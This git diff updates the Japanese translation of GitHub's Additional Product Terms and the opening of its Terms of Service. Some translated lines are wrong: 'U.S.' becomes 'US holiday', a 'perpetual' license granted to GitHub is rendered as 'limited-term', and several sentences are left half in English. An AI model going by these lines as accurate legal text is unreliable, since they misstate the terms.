-GitHub Actions enables you to create custom software development lifecycle workflows directly in your GitHub repository. Actions is billed on a usage basis. The [Actions documentation](/actions) includes details, including compute and storage quantities (depending on your Account plan), and how to monitor your Actions minutes usage and set usage limits. 
+## アクション
+GitHubアクションでは、カスタムソフトウェア開発のライフサイクルにわたるワークフローをGitHubリポジトリに直接作成することができます。 Actionsは、使用量に基づいて課金されます。 [Actionsのドキュメント](/actions)には、計算量やストレージ容量 (アカウントのプランによって異なる)、およびActionsの使用分数の監視方法や利用限度の設定方法などの詳細情報が記載されています。
 
 Actions and any elements of the Actions product or service may not be used in violation of the Agreement, the [GitHub Acceptable Use Polices](/github/site-policy/github-acceptable-use-policies), or the GitHub Actions service limitations set forth in the [Actions documentation](/actions/reference/usage-limits-billing-and-administration). Additionally, regardless of whether an Action is using self-hosted runners, Actions should not be used for:
-- cryptomining;
+- クリプトマイニング;
 - disrupting, gaining, or attempting to gain unauthorized access to, any service, device, data, account, or network (other than those authorized by the [GitHub Bug Bounty program](https://bounty.github.com));
 - the provision of a stand-alone or integrated application or service offering the Actions product or service, or any elements of the Actions product or service, for commercial purposes;
-- any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Actions as a content delivery network or as part of a serverless application, but a low benefit Action could be ok if it’s also low burden); or
+- ユーザに与えるメリットと釣り合わない負荷をサーバーにかける行為 (たとえば、Actionsをコンテンツ配信ネットワークやサーバーレスアプリケーションの一部として利用してはなりません。ただし、メリットが低くても、負荷も低い場合は問題ありません。)、
 - if using GitHub-hosted runners, any other activity unrelated to the production, testing, deployment, or publication of the software project associated with the repository where GitHub Actions are used.
 
-In order to prevent violations of these limitations and abuse of GitHub Actions, GitHub may monitor your use of GitHub Actions. Misuse of GitHub Actions may result in termination of jobs, restrictions in your ability to use GitHub Actions, or the disabling of repositories created to run Actions in a way that violates these Terms.
+このような使用制限違反や、GitHubアクションの悪用を防ぐために、GitHubはGitHubアクションの使用を監視する場合があります。 GitHub Actionsを不正利用した場合には、ジョブが停止されたり、GitHub Actionsの使用が制限されたり、本「利用規約」を侵害するような方法でActionsを実行するために作成されたリポジトリが無効になったりすることもあります。
 
 
 ## Advanced Security
-GitHub makes extra security features available to customers under an Advanced Security license. These features include code scanning, secret scanning, and dependency review. The [Advanced Security documentation](/github/getting-started-with-github/about-github-advanced-security) provides more details.
+Advanced Security ライセンスを取得しているお客様に対して、GitHub は追加セキュリティ機能を提供しています。 追加機能にはコードスキャン、シークレットスキャン、依存関係レビューが含まれます。 詳細は [Advanced Security のドキュメント](/github/getting-started-with-github/about-github-advanced-security)をご覧ください。
 
-Advanced Security is licensed on a "Unique Committer" basis. A "Unique Committer" is a licensed user of GitHub Enterprise, GitHub Enterprise Cloud, GitHub Enterprise Server, or GitHub AE, who has made a commit in the last 90 days to any repository with any GitHub Advanced Security functionality activated. You must acquire a GitHub Advanced Security User license for each of your Unique Committers. You may only use GitHub Advanced Security on codebases that are developed by or for you. For GitHub Enterprise Cloud users, some Advanced Security features also require the use of GitHub Actions. 
+Advanced Security のライセンスは、「ユニークコミッター」ごとに付与されます。 A "Unique Committer" is a licensed user of GitHub Enterprise, GitHub Enterprise Cloud, GitHub Enterprise Server, or GitHub AE, who has made a commit in the last 90 days to any repository with any GitHub Advanced Security functionality activated. お客様の各「ユニークコミッター」ごとに、GitHub Advanced Securityの「ユーザライセンス」を取得する必要があります。 GitHub Advanced Securityは、お客様によりまたはお客様のために開発されたコードベースにおいてのみ使用できます。 GitHub Enterprise Cloud ユーザの場合、一部のAdvanced Securityセキュリティ機能にはGitHub Actionsを使用する必要もあります。
 
 ## Advisory Database
-The GitHub Advisory Database allows you to browse or search for vulnerabilities that affect open source projects on GitHub.
+GitHub Advisory Databaseを使用すると、GitHubのオープンソースプロジェクトに影響を与える脆弱性を閲覧および検索できます。
 
-_License Grant to Us_
+_当社へのライセンス許可_
 
-We need the legal right to submit your contributions to the GitHub Advisory Database into public domain datasets such as the [National Vulnerability Database](https://nvd.nist.gov/) and to license the GitHub Advisory Database under open terms for use by security researchers, the open source community, industry, and the public. You agree to release your contributions to the GitHub Advisory Database under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/).
+当社には、GitHub Advisory Databaseへのコントリビューションを[National Vulnerability Database](https://nvd.nist.gov/)などのパブリックドメインデータセットに提出するための法的権利、並びに、セキュリティ研究者、オープンソースコミュニティ、業界、および公衆が使用するためのオープンタームに基づいてGitHub Advisory Databaseをライセンス付与するための法的権利が必要です 。 あなたは、[Creative Commons Zeroライセンス](https://creativecommons.org/publicdomain/zero/1.0/)の下でGitHub Advisory Databaseへのコントリビューションをリリースすることに同意するものとします。
 
-_License to the GitHub Advisory Database_
+_GitHub Advisory Databaseのライセンス_
 
-The GitHub Advisory Database is licensed under the [Creative Commons Attribution 4.0 license](https://creativecommons.org/licenses/by/4.0/). The attribution term may be fulfilled by linking to the GitHub Advisory Database at <https://github.com/advisories> or to individual GitHub Advisory Database records used, prefixed by <https://github.com/advisories>.
+GitHub Advisory Databaseは、[Creative Commons Attribution 4.0ライセンス](https://creativecommons.org/licenses/by/4.0/)の下でライセンスされています。 帰属条件は、<https://github.com/advisories>のGitHub Advisory Databaseまたは使用される個々のGitHub Advisory Databaseレコード（<https://github.com/advisories>で始まる）にリンクすることで満たすことができます。
 
 ## Codespaces
 _Note: The github.dev service, available by pressing `.` on a repo or navigating directly to github.dev, is governed by [GitHub's Beta Terms of service](/github/site-policy/github-terms-of-service#j-beta-previews)._
 
 GitHub Codespaces enables you to develop code directly from your browser using the code within your GitHub repository. Codespaces and any elements of the Codespaces service may not be used in violation of the Agreement or the Acceptable Use Policies. Additionally, Codespaces should not be used for:
-- cryptomining;
+- クリプトマイニング;
 - using our servers to disrupt, or to gain or to attempt to gain unauthorized access to any service, device, data, account or network (other than those authorized by the GitHub Bug Bounty program);
 - the provision of a stand-alone or integrated application or service offering Codespaces or any elements of Codespaces for commercial purposes;
 - any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Codespaces as a content delivery network, as part of a serverless application, or to host any kind of production-facing application); or
@@ -63,55 +63,55 @@ GitHub Codespaces enables you to develop code directly from your browser using t
 
 In order to prevent violations of these limitations and abuse of GitHub Codespaces, GitHub may monitor your use of GitHub Codespaces. Misuse of GitHub Codespaces may result in termination of your access to Codespaces, restrictions in your ability to use GitHub Codespaces, or the disabling of repositories created to run Codespaces in a way that violates these Terms.
 
-Codespaces allows you to load extensions from the Microsoft Visual Studio Marketplace (“Marketplace Extensions”) for use in your development environment, for example, to process the programming languages that your code is written in. Marketplace Extensions are licensed under their own separate terms of use as noted in the Visual Studio Marketplace, and the terms of use located at https://aka.ms/vsmarketplace-ToU. GitHub makes no warranties of any kind in relation to Marketplace Extensions and is not liable for actions of third-party authors of Marketplace Extensions that are granted access to Your Content. Codespaces also allows you to load software into your environment through devcontainer features. Such software is provided under the separate terms of use accompanying it. Your use of any third-party applications is at your sole risk.
+Codespaces allows you to load extensions from the Microsoft Visual Studio Marketplace (“Marketplace Extensions”) for use in your development environment, for example, to process the programming languages that your code is written in. Marketplace Extensions are licensed under their own separate terms of use as noted in the Visual Studio Marketplace, and the terms of use located at https://aka.ms/vsmarketplace-ToU. GitHub makes no warranties of any kind in relation to Marketplace Extensions and is not liable for actions of third-party authors of Marketplace Extensions that are granted access to Your Content. Codespaces also allows you to load software into your environment through devcontainer features. Such software is provided under the separate terms of use accompanying it. サードパーティアプリケーションを、お客様は自らの責任ににおいて利用するものとします。
 
-The generally available version of Codespaces is not currently available for U.S. government customers. U.S. government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/github/site-policy/github-terms-of-service#j-beta-previews).
+The generally available version of Codespaces is not currently available for U.S. government customers. アメリカ合衆国の祝日 government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/github/site-policy/github-terms-of-service#j-beta-previews).
 
 ## Connect
-With GitHub Connect, you can share certain features and data between your GitHub Enterprise Server {% ifversion ghae %}or GitHub AE {% endif %}instance and your GitHub Enterprise Cloud organization or enterprise account on GitHub.com. In order to enable GitHub Connect, you must have at least one (1) account on GitHub Enterprise Cloud or GitHub.com, and one (1) licensed instance of GitHub Enterprise Server{% ifversion ghae %} or GitHub AE{% endif %}. Your use of GitHub Enterprise Cloud or GitHub.com through Connect is governed by the terms under which you license GitHub Enterprise Cloud or GitHub.com. Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
+GitHub Connect を使うと、GitHub Enterprise Server{% ifversion ghae %}やGitHub AE {% endif %}インスタンスとGitHub.comのGitHub Enterprise Cloud OrganizationまたはEnterpriseアカウントとの間で特定の機能やデータを共有できます。 GitHub Connectを有効化するには、GitHub Enterprise CloudまたはGitHub.comに最低1つのアカウントを持ち、GitHub Enterprise Server{% ifversion ghae %}またはGitHub AE{% endif %}の最低1つのライセンスインスタンスを持っている必要があります。 Connect経由でのGitHub Enterprise CloudまたはGitHub.comの利用は、GitHub Enterprise CloudまたはGitHub.comのライセンスに基づく規約が適用されます。 「個人データ」の利用には、「[GitHubのプライバシーについての声明](/github/site-policy/github-privacy-statement)」が適用されます。
 
 ## GitHub Enterprise Importer
 Importer is a framework for exporting data from other sources to be imported to the GitHub platform. Importer is provided “AS-IS”.
 
 ## Learning Lab
-GitHub Learning Lab offers free interactive courses that are built into GitHub with instant automated feedback and help.
+GitHub Learning Lab では、GitHub に組み込まれたインタラクティブなコースを無料で提供しており、自動の即時フィードバックやヘルプも備わっています。
 
-*Course Materials.* GitHub owns course materials that it provides and grants you a worldwide, non-exclusive, limited-term, non-transferable, royalty-free license to copy, maintain, use and run such course materials for your internal business purposes associated with Learning Lab use. 
+*コース資料。*GitHubは、自らが提供するコース資料の所有者であり、Learning Labの使用に関連した内部的な業務目的で、かかるコース資料を複製、保守、使用、および実行するための世界的で非独占的、期間限定、譲渡不可の無料ライセンスをお客様に付与します。
 
-Open source license terms may apply to portions of source code provided in the course materials. 
+コース資料で提供されるソースコードの一部には、オープンソースライセンスの条項が適用される場合があります。
 
-You own course materials that you create and grant GitHub a worldwide, non-exclusive, perpetual, non-transferable, royalty-free license to copy, maintain, use, host, and run such course materials. 
+お客様が作成するコースはお客様が所有し、GitHubに対して、かかるコース資料を複製、保守、使用、および実行するための世界的で非独占的、期間限定、譲渡不可の無料ライセンスをGitHubに付与します。
 
-The use of GitHub course materials and creation and storage of your own course materials do not constitute joint ownership to either party's respective intellectual property.
+GitHubコースの使用、ならびにお客様ご自身によるコース資料の作成および保管は、いずれかの当事者による相手方の知的所有権の共同所有権を構成するものではありません。
 
-Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
+「個人データ」の利用には、「[GitHubのプライバシーについての声明](/github/site-policy/github-privacy-statement)」が適用されます。
 
 ## npm
-npm is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. npm is the registry of record for the JavaScript ecosystem. The npm public registry is free to use but customers are billed if they want to publish private packages or manage private packages using teams. The [npm documentation](https://docs.npmjs.com/) includes details about the limitation of account types and how to manage [private packages](https://docs.npmjs.com/about-private-packages) and [organizations](https://docs.npmjs.com/organizations). Acceptable use of the npm registry is outlined in the [open-source terms](https://www.npmjs.com/policies/open-source-terms). There are supplementary terms for both the npm [solo](https://www.npmjs.com/policies/solo-plan) and [org](https://www.npmjs.com/policies/orgs-plan) plans. The npm [Terms of Use](https://www.npmjs.com/policies/terms) apply to your use of npm.
+npm はソフトウェアパッケージのホスティングサービスであり、ソフトウェアパッケージをプライベートまたパブリックでホストでき、パッケージをプロジェクト中で依存関係として使えるようになります。 npm はJavaScriptエコシステムのためのレコードのレジストリです。 npm 公開レジストリの利用は無料ですが、プライベートパッケージを公開したり、チームを使用してプライベートパッケージを管理したい場合には有料となります。 [npm ドキュメント](https://docs.npmjs.com/)にはアカウントの種類の制限や、[プライベートパッケージ](https://docs.npmjs.com/about-private-packages)および[Organization](https://docs.npmjs.com/organizations)の管理方法についての詳細が記載されています。 npm registryレジストリの利用規程は、[オープンソース規約](https://www.npmjs.com/policies/open-source-terms)に概説されています。 また、npm [solo](https://www.npmjs.com/policies/solo-plan)と[org](https://www.npmjs.com/policies/orgs-plan)の両方のプランに補足条項があります。 npmの利用には、npm[利用規約](https://www.npmjs.com/policies/terms)が適用されます。
 
 ## Packages
-GitHub Packages is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. GitHub Packages is billed on a usage basis. The [Packages documentation](/packages/learn-github-packages/introduction-to-github-packages) includes details, including bandwidth and storage quantities (depending on your Account plan), and how to monitor your Packages usage and set usage limits. Packages bandwidth usage is limited by the [GitHub Acceptable Use Polices](/github/site-policy/github-acceptable-use-policies).
+GitHub Packagesはソフトウェアパッケージのホスティングサービスであり、ソフトウェアパッケージをプライベートもしくはパブリックでホストでき、パッケージをプロジェクト中で依存関係として使えるようになります GitHub Packagesは、使用量に基づいて課金されます。 [Packagesのドキュメント](/packages/learn-github-packages/introduction-to-github-packages)には、帯域幅やストレージ容量 (アカウントのプランによって異なる)、およびPackagesの使用量の監視方法や利用限度の設定方法などの詳細情報が記載されています。 Packagesの帯域幅使用量は[「GitHub利用規定」](/github/site-policy/github-acceptable-use-policies)によって制限されます。
 
 ## Pages
 
-Each Account comes with access to the [GitHub Pages static hosting service](/github/working-with-github-pages/about-github-pages). GitHub Pages is intended to host static web pages, but primarily as a showcase for personal and organizational projects. 
+各「アカウント」には、[GitHub Pagesの静的ホスティングサービス](/github/working-with-github-pages/about-github-pages)へのアクセス権があります。 GitHub Pages は静的Webページをホストするためのサービスですが、主に個人および組織のプロジェクトのためのショーケースの役割をはたしています。
 
-GitHub Pages is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). Some monetization efforts are permitted on Pages, such as donation buttons and crowdfunding links. 
+GitHub Pagesは、オンラインビジネス、eコマースサイト、主に商取引の円滑化またはサービスとしての商用ソフトウェアの提供 (SaaS) のいずれかを目的とする、その他のウェブサイトを運営するための無料のウェブホスティングサービスとしての使用を意図したものではなく、またそのような使用を許可するものでもありません。 ページでは、寄付のボタンやクラウドファンディングのリンクなど、収益化の行為が一部認められています。
 
-_Bandwidth and Usage Limits_
+_帯域幅と利用限度_
 
-GitHub Pages are subject to some specific bandwidth and usage limits, and may not be appropriate for some high-bandwidth uses. Please see our [GitHub Pages limits](/github/working-with-github-pages/about-github-pages) for more information. 
+GitHub Pagesは、特定の帯域幅を対象とし、利用限度が適用されるため、一定以上の高帯域の利用には適していない場合があります。 Please see our [GitHub Pages limits](/github/working-with-github-pages/about-github-pages) for more information.
 
-_Prohibited Uses_
+_禁止される用途_
 
 GitHub Pages may not be used in violation of the Agreement, the GitHub [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies), or the GitHub Pages service limitations set forth in the [Pages documentation](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages).
 
-If you have questions about whether your use or intended use falls into these categories, please contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). GitHub reserves the right at all times to reclaim any GitHub subdomain without liability.
+If you have questions about whether your use or intended use falls into these categories, please contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). GitHubは、責任を負うことなくGitHubの任意のサブドメインを取得する権利を常に有します。
 
-## Sponsors Program
+## Sponsorsプログラム
 
-GitHub Sponsors allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on GitHub. In order to become a Sponsored Developer, you must agree to the [GitHub Sponsors Program Additional Terms](/github/site-policy/github-sponsors-additional-terms).
+GitHub Sponsorsにより、開発者コミュニティが依存しているオープンソースプロジェクトの設計、構築、維持に携わる人々や Organization を、GitHubで直接、経済的に支援できます。 スポンサード開発者になるには、[GitHub Sponsorsプログラムの追加条項](/github/site-policy/github-sponsors-additional-terms)に同意する必要があります。
 
 ## SQL Server Images
 
-You may download Microsoft SQL Server Standard Edition container image for Linux files ("SQL Server Images"). You must uninstall the SQL Server Images when your right to use the Software ends. Microsoft Corporation may disable SQL Server Images at any time.
+お客様は、Linuxファイル用のMicrosoft SQL Server Standard Editionコンテナ (「SQL Server Images」) をダウンロードできます。 「ソフトウェア」の使用権が終了した場合は、SQL Server Imagesをアンインストールする必要があります。 Microsoft Corporation は、「SQL Server Images」をいつでも無効にすることができます。
diff --git a/translations/ja-JP/content/github/site-policy/github-terms-of-service.md b/translations/ja-JP/content/github/site-policy/github-terms-of-service.md
index 9ac616977a..630aac5377 100644
--- a/translations/ja-JP/content/github/site-policy/github-terms-of-service.md
+++ b/translations/ja-JP/content/github/site-policy/github-terms-of-service.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms of Service
+title: GitHub利用規約
 redirect_from:
   - /tos
   - /terms
@@ -13,303 +13,303 @@ topics:
   - Legal
 ---
 
-Thank you for using GitHub! We're happy you're here. Please read this Terms of Service agreement carefully before accessing or using GitHub. Because it is such an important contract between us and our users, we have tried to make it as clear as possible. For your convenience, we have presented these terms in a short non-binding summary followed by the full legal terms.
+GitHubをご利用いただきありがとうございます。 また、こちらのページをご覧いただきありがとうございます。 GitHubにアクセスするまたはGitHubをご利用いただく前に、こちらの「利用規約」をよくお読みください。 当社とユーザ間の非常に大切な契約になるため、できるだけわかりやすくなるよう心がけています。 便宜上、本規約は全文の前に法的拘束力のない短い要約を記載してあります。
 
-## Summary
+## 概要
 
-| Section | What can you find there? |
-| --- | --- |
-| [A. Definitions](#a-definitions) | Some basic terms, defined in a way that will help you understand this agreement. Refer back up to this section for clarification. |
-| [B. Account Terms](#b-account-terms) | These are the basic requirements of having an Account on GitHub.  |
-| [C. Acceptable Use](#c-acceptable-use)| These are the basic rules you must follow when using your GitHub Account. |
-| [D. User-Generated Content](#d-user-generated-content) | You own the content you post on GitHub. However, you have some responsibilities regarding it, and we ask you to grant us some rights so we can provide services to you. |
-| [E. Private Repositories](#e-private-repositories) | This section talks about how GitHub will treat content you post in private repositories. |
-| [F. Copyright & DMCA Policy](#f-copyright-infringement-and-dmca-policy) | This section talks about how GitHub will respond if you believe someone is infringing your copyrights on GitHub. |
-| [G. Intellectual Property Notice](#g-intellectual-property-notice) | This describes GitHub's rights in the website and service. |
-| [H. API Terms](#h-api-terms) | These are the rules for using GitHub's APIs, whether you are using the API for development or data collection. |
-| [I. Additional Product Terms](#i-github-additional-product-terms) | We have a few specific rules for GitHub's features and products. |
-| [J. Beta Previews](#j-beta-previews) | These are some of the additional terms that apply to GitHub's features that are still in development. |
-| [K. Payment](#k-payment) | You are responsible for payment. We are responsible for billing you accurately. |
-| [L. Cancellation and Termination](#l-cancellation-and-termination) | You may cancel this agreement and close your Account at any time. |
-| [M. Communications with GitHub](#m-communications-with-github) | We only use email and other electronic means to stay in touch with our users. We do not provide phone support. |
-| [N. Disclaimer of Warranties](#n-disclaimer-of-warranties) | We provide our service as is, and we make no promises or guarantees about this service. **Please read this section carefully; you should understand what to expect.** |
-| [O. Limitation of Liability](#o-limitation-of-liability) | We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. **Please read this section carefully; it limits our obligations to you.** |
-| [P. Release and Indemnification](#p-release-and-indemnification) | You are fully responsible for your use of the service. |
-| [Q. Changes to these Terms of Service](#q-changes-to-these-terms) | We may modify this agreement, but we will give you 30 days' notice of material changes. |
-| [R. Miscellaneous](#r-miscellaneous) | Please see this section for legal details including our choice of law. |
+| セクション                                                        | 各セクションの内容                                                                                                                           |
+| ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- |
+| [A. 定義](#a-definitions)                                      | 本契約内容を理解しやすくなるよう定義された基本用語。 必要に応じて本セクションを参照してください。                                                                                   |
+| [B. アカウント利用規約](#b-account-terms)                             | GitHub で「アカウント」を所有する上での基本的な要件です。                                                                                                    |
+| [C. 利用規定](#c-acceptable-use)                                 | GitHub の「アカウント」を利用する際にお客様が従わなければならない基本的な規則です。                                                                                       |
+| [D. ユーザ生成コンテンツ](#d-user-generated-content)                   | あなたが GitHub に投稿したコンテンツの所有者はあなたです。 ただし、お客様にはコンテンツの所有に伴う責任を負います。また、当社ではお客様にサービスを提供するために、一部の権利を当社に付与してくださるようお願いしています。                  |
+| [E. プライベートリポジトリ](#e-private-repositories)                    | このセクションでは、お客様がプライベートリポジトリに投稿したコンテンツを GitHub がどのように取り扱うかを説明します。                                                                      |
+| [F. 著作権とDMCAポリシー](#f-copyright-infringement-and-dmca-policy) | このセクションでは、GitHub 上であなたの著作権が侵害されたと思われる場合に、GitHubがどのように対応するかを説明します。                                                                   |
+| [G. 知的財産に関する通知](#g-intellectual-property-notice)             | ウェブサイトおよびサービスにおける GitHub の権利について説明します。                                                                                              |
+| [H. API 規約](#h-api-terms)                                    | GitHub の API を利用するための規則です。API を開発で利用する際もデータ収集で利用する際も適用されます。                                                                         |
+| [I. 追加製品の利用規約](#i-github-additional-product-terms)           | GitHub の機能と製品には固有の規則がいくつかあります。                                                                                                      |
+| [J. ベータプレビュー](#j-beta-previews)                              | まだ開発中の GitHub の機能に適用される追加規約の一部です。                                                                                                   |
+| [K. 支払い](#k-payment)                                         | お客様は支払いに対して責任を負います。 当社は、お客様に正確な請求を行うことに対して責任を負います。                                                                                  |
+| [L. キャンセルと解約](#l-cancellation-and-termination)               | お客様は、いつでも本契約をキャンセルしてあなたの「アカウント」を閉じることができます。                                                                                         |
+| [M. GitHub との通信手段](#m-communications-with-github)            | 当社は、ユーザとの通信にはメールなどの電子的な手段のみを使用します。 電話によるサポートは提供していません。                                                                              |
+| [N. 保証免責](#n-disclaimer-of-warranties)                       | 当社は、サービスを現状有姿で提供し、本サービスについて一切の約束も保証も行いません。 **このセクションは特によくお読みください。何を期待できるかを理解しておく必要があります。**                                          |
+| [O. 責任の制限](#o-limitation-of-liability)                       | 当社は、サービスを利用するかもしくは利用できないことに起因する損害または損失、あるいはその他本契約に基づいて発生する損害または損失については責任を負いません。 **このセクションは特によくお読みください。お客様に対する当社の義務を制限する内容になっています。** |
+| [P. 免責・補償](#p-release-and-indemnification)                   | あなたはサービスの利用に対するすべての責任を負います。                                                                                                         |
+| [Q. 本利用規約の変更](#q-changes-to-these-terms)                     | 当社は本契約を変更する場合がありますが、重要な変更を行う場合は30日前に通知します。                                                                                          |
+| [R. 雑則](#r-miscellaneous)                                    | 法の選択を含む法的詳細については、このセクションをご覧ください。                                                                                                    |
 
-## The GitHub Terms of Service
-Effective date: November 16, 2020
+## GitHub 利用規約
+発効日：2020年11月16日
 
 
-## A. Definitions
-**Short version:** *We use these basic terms throughout the agreement, and they have specific meanings. You should know what we mean when we use each of the terms. There's not going to be a test on it, but it's still useful information.*
+## A. 定義
+**趣旨の要約:** *以下は本契約全体で使用され、特定の意味を持つ基本用語です。 これらの用語が使われる場合は、その意味を知っておく必要があります。 テストが行われるわけではありませんが、それでも有用な情報であることには変わりありません。*
 
-1. An "Account" represents your legal relationship with GitHub. A “User Account” represents an individual User’s authorization to log in to and use the Service and serves as a User’s identity on GitHub. “Organizations” are shared workspaces that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User Account can be a member of any number of Organizations.
-2. The “Agreement” refers, collectively, to all the terms, conditions, notices contained or referenced in this document (the “Terms of Service” or the "Terms") and all other operating rules, policies (including the GitHub Privacy Statement, available at [github.com/site/privacy](https://github.com/site/privacy)) and procedures that we may publish from time to time on the Website. Most of our site policies are available at [docs.github.com/categories/site-policy](/categories/site-policy).
-3. "Beta Previews" mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings.
-4. “Content” refers to content featured or displayed through the Website, including without limitation code, text, data, articles, images, photographs, graphics, software, applications, packages, designs, features, and other materials that are available on the Website or otherwise available through the Service. "Content" also includes Services. “User-Generated Content” is Content, written or otherwise, created or uploaded by our Users. "Your Content" is Content that you create or own.
-5. “GitHub,” “We,” and “Us” refer to GitHub, Inc., as well as our affiliates, directors, subsidiaries, contractors, licensors, officers, agents, and employees.
-6. The “Service” refers to the applications, software, products, and services provided by GitHub, including any Beta Previews.
-7. “The User,” “You,” and “Your” refer to the individual person, company, or organization that has visited or is using the Website or Service; that accesses or uses any part of the Account; or that directs the use of the Account in the performance of its functions. A User must be at least 13 years of age. Special terms may apply for business or government Accounts (See [Section B(5): Additional Terms](#5-additional-terms)).
-8. The “Website” refers to GitHub’s website located at [github.com](https://github.com/), and all content, services, and products provided by GitHub at or through the Website. It also refers to GitHub-owned subdomains of github.com, such as [education.github.com](https://education.github.com/) and [pages.github.com](https://pages.github.com/). These Terms also govern GitHub’s conference websites, such as [githubuniverse.com](https://githubuniverse.com/), and product websites, such as [atom.io](https://atom.io/). Occasionally, websites owned by GitHub may provide different or additional terms of service. If those additional terms conflict with this Agreement, the more specific terms apply to the relevant page or service.
+1. 「アカウント」は、お客様と GitHub との法的関係を表します。 「ユーザアカウント」は、「サービス」にログインしてこれを利用するための個々の「ユーザ」の許可を表し、GitHub 上の「ユーザ」の身元情報として機能します。 「Organization」とは、複数の「ユーザ」が、一度に多くのプロジェクトをまたいでコラボレートするために、 単一の法人あるいは 1 人以上の「ユーザ」に関連付けることができる共有のワークスペースのことです。 「ユーザアカウント」がメンバーになることができる「Organization」の数に制限はありません。
+2. 「契約」とは、集合的に、本書に含まれるか、または本書で参照されるすべての規約、条件、通知 (「利用規約」または「規約」) 並びに、当社が適宜「ウェブサイト」に掲載する場合があるその他すべての操作規則、ポリシー ([github.com/site/privacy](https://github.com/site/privacy) で参照可能な「GitHub のプライバシーについての声明」) および手順を指します。 当社のサイトポリシーの大半は、[docs.github.com/categories/site-policy](/categories/site-policy) でご確認いただけます。
+3. 「ベータプレビュー」とは、アルファ、ベータ、プレビュー、アーリーアクセス、評価版、またはその他同様の意味を持つ言葉や表現により称されるソフトウェア、サービス、または機能を意味します。
+4. 「コンテンツ」とは、「ウェブサイト」上で利用可能かまたは「サービス」を通じて利用可能なコード、テキスト、データ、記事、画像、写真、図表、ソフトウェア、アプリケーション、パッケージ、デザイン、機能、およびその他の資料を含むがこれらに限定されない、「ウェブサイト」を通じて取り上げられるかまたは表示されるコンテンツを指します。 また、「コンテンツ」には「サービス」も含まれます。 「ユーザ生成コンテンツ」とは、当社の「ユーザ」が作成またはアップロードした、記述またはその他の形式の「コンテンツ」です。 「あなたのコンテンツ」とは、お客様が作成または所有する「コンテンツ」です。
+5. 「GitHub」および「当社」とは、GitHub, Inc.、並びにその関連会社、取締役、子会社、請負業者、ライセンサー、役員、代理人、および従業員を指します。
+6. 「サービス」とは、ベータプレビューを含む、GitHub によって提供されるアプリケーション、ソフトウェア、製品、およびサービスを指します。
+7. 「ユーザ」および「お客様」とは、「ウェブサイト」もしくは「サービス」を訪れたかもしくは利用している、「アカウント」の何らかの部分にアクセスもしくは使用する、または、その機能の実行の中で「アカウント」の使用を指示する個人、会社、または組織を指します。 ユーザは 13 歳以上である必要があります。 ビジネスアカウントまたは政府アカウントには特別な条件が適用される場合があります (「[セクション B(5): 追加条項](#5-additional-terms)」を参照してください)。
+8. 「ウェブサイト」とは、[github.com](https://github.com/) にある GitHub のウェブサイト、および「ウェブサイト」上またはこれを通じて GitHub によって提供されるすべてのコンテンツ、サービス、および製品を指します。 また、[education.github.com](https://education.github.com/) や [pages.github.com](https://pages.github.com/) など、GitHub が所有する github.com のサブドメインも指します。 本「規約」は、[githubuniverse.com](https://githubuniverse.com/) などの GitHub のカンファレンスサイトおよび [atom.io](https://atom.io/) などの製品サイトも対象になります。 GitHub が所有するウェブサイトでは、利用規約が異なる場合や追加される場合があります。 こうした追加規約が本「契約」と矛盾する場合、より具体的な規約が関連するページまたはサービスに適用されます。
 
-## B. Account Terms
-**Short version:** *User Accounts and Organizations have different administrative controls; a human must create your Account; you must be 13 or over; you must provide a valid email address; and you may not have more than one free Account. You alone are responsible for your Account and anything that happens while you are signed in to or using your Account. You are responsible for keeping your Account secure.*
+## B. アカウント利用規約
+**趣旨の要約:** *「ユーザアカウント」と「Organization」とでは、管理権限が異なります。「アカウント」は人間によって作成される必要があります。ユーザは 13 歳以上でなければなりません。また有効なメールアドレスを提供する必要があります。無料の「アカウント」を複数持つことはできません。 お客様は自身の「アカウント」および、そのサインイン中または使用中に発生するあらゆることに対して、単独で責任を負います。 またお客様には、自身の「アカウント」を安全に保つ責任があります。*
 
-### 1. Account Controls
-- Users. Subject to these Terms, you retain ultimate administrative control over your User Account and the Content within it.
+### 1. アカウントの管理
+- ユーザ. 本「規約」に従い、お客様は自身の「ユーザアカウント」およびその中の「コンテンツ」に対する最終的な管理権限を保持します。
 
-- Organizations. The "owner" of an Organization that was created under these Terms has ultimate administrative control over that Organization and the Content within it. Within the Service, an owner can manage User access to the Organization’s data and projects. An Organization may have multiple owners, but there must be at least one User Account designated as an owner of an Organization. If you are the owner of an Organization under these Terms, we consider you responsible for the actions that are performed on or through that Organization.
+- Organization. 本「規約」に基づいて作成された「Organization」の「所有者」は、その「Organization」およびその中の「コンテンツ」に対する最終的な管理権限を保持します。 「サービス」内で、所有者は「Organization」のデータおよびプロジェクトに対する「ユーザ」のアクセスを管理できます。 「Organization」には複数の所有者がいる場合がありますが、「Organization」の所有者として指定された「ユーザアカウント」が少なくとも 1 つ必要です。 お客様が本「規約」に基づく「Organization」の所有者である場合、その「Organization」上またはこれを通じて実行されるアクションに対して責任があるとみなされます。
 
-### 2. Required Information
-You must provide a valid email address in order to complete the signup process. Any other information requested, such as your real name, is optional, unless you are accepting these terms on behalf of a legal entity (in which case we need more information about the legal entity) or if you opt for a [paid Account](#k-payment), in which case additional information will be necessary for billing purposes.
+### 2. 必須情報
